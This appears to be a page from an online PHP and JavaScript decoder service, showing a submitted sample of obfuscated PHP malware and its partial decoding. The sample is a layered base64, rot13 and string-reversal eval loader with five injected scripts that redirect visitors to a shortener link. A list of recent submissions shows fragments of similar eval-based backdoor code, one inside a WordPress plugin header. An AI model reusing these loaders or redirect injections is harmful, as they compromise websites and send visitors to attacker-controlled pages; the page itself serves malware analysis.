Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?=/****/@null; /********/@eval/****/("?> ".base64_decode(base64_decode(strrev(urldecode(str_rot13("%3QfPB6kHpiyUG3f2HYO3nGgRpeA1FcOQIDWxHU50H1pRI2tzrI5RombIEkfJMXWIIHIQnRWznnu1GVOUongTnfqIZfcKHeOUFvuxFgc1FBcJJlbRoA1RML9RFFqSMTSGoMIaFkLILfqyGHM0EvAIAKcSZXkJGAc1ZvIxGU10HbIIJcq2HngJBlxSoFWQJjxSIncaEgy1oIqxJ250IngTrgAJZbAyJeywZMIaIUWJrJAQMbcRFYkzHlVznJqxJmcRJxAwEgA2oIqxJ25HovkTrgAJZbAyJeywZMkzHUWJrJu0F29JnYS3ocgHpiyUG6WyovkzHhWzqBWQJjLyZnMzIUWTpn1TGcEwrDy2M5kHpiy2FkumDvuzJLcID5x2Fk9JnYS3ocgHp4ZHF29JnYS3ocgHpiyUGauGnYS3ocgHpiy2FkumDWqmqUWJZ1pHH29JnYS3o5kHB4DRH"))))));?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x49\x55\x47\x71\x42\x6d\x62\x30\x72\x37";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x49\x55\x47\x71\x42\x6d\x62\x30\x72\x37";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x49\x55\x47\x71\x42\x6d\x62\x30\x72\x37";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x49\x55\x47\x71\x42\x6d\x62\x30\x72\x37";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x49\x55\x47\x71\x42\x6d\x62\x30\x72\x37";</script>

Decrypted code:

=/****/@null; /********/@eval/****/(" ".base64_decode(base64_decode(strrev(urldecode(str_rot13("%3QfPB6kHpiyUG3f2HYO3nGgRpeA1FcOQIDWxHU50H1pRI2tzrI5RombIEkfJMXWIIHIQnRWznnu1GVOUongTnfqIZfcKHeOUFvuxFgc1FBcJJlbRoA1RML9RFFqSMTSGoMIaFkLILfqyGHM0EvAIAKcSZXkJGAc1ZvIxGU10HbIIJcq2HngJBlxSoFWQJjxSIncaEgy1oIqxJ250IngTrgAJZbAyJeywZMIaIUWJrJAQMbcRFYkzHlVznJqxJmcRJxAwEgA2oIqxJ25HovkTrgAJZbAyJeywZMkzHUWJrJu0F29JnYS3ocgHpiyUG6WyovkzHhWzqBWQJjLyZnMzIUWTpn1TGcEwrDy2M5kHpiy2FkumDvuzJLcID5x2Fk9JnYS3ocgHp4ZHF29JnYS3ocgHpiyUGauGnYS3ocgHpiy2FkumDWqmqUWJZ1pHH29JnYS3o5kHB4DRH"))))));
<script>window.location.href = "https://ushort.observer/IUGqBmb0r7";</script>
<script>window.location.href = "https://ushort.observer/IUGqBmb0r7";</script>
<script>window.location.href = "https://ushort.observer/IUGqBmb0r7";</script>
<script>window.location.href = "https://ushort.observer/IUGqBmb0r7";</script>
<script>window.location.href = "https://ushort.observer/IUGqBmb0r7";</script>

Recent submissions:

<?php ... <?=/****/@null; /********/@eval/****/("?> ".base64_decode(base64_decode(strrev(urldecode(s... HR+cPyy5fRXisHs/QSKmcvl8w4uCMLjsxWkcy9kuP/7CQy0kWsFi5U6wgVR0ZDYbNeHfg/0Qr1/z hSUe2xnOpx1b... %PDF- %PDF- <?php /** * Plugin Name: WP Super Cache * Plugin URI: https://github.co... <?php eval(gzinflate(base64_decode("vTyJUiPJcr8iEy/ezkZMrPs+VIvj6b6PbrVO48gQkkDikEBIIPDzvz... foreach (["\x63\x6f\155\x70\x72\145\163\x73\56\172\x6c\x69\x62\x3a\x2f\57\x77\160\x2d\x73\... <?php eval(base64_decode('CiBnb3RvIFBkWFFnOyB6YzVkNjogPz4KCQkJCQkJCQk8P3BocCAgZ290byBSdDFv... <?php eval(base64_decode('CiBuYW1lc3BhY2UgQ29uZmlnOyAkcm91dGVzID0gU2VydmljZXM6OnJvdXRlcygp... <?php $_F=__FILE__;$_X='P2lCP1ouWg1Wc0gyV1E5TT4nLk1lOU16WFouWic7DVYNViQ5ek1uWk9Ibk0+Uz5ITX... <?php namespace Config; use CodeIgniter\Config\BaseConfig; class System extends BaseConf...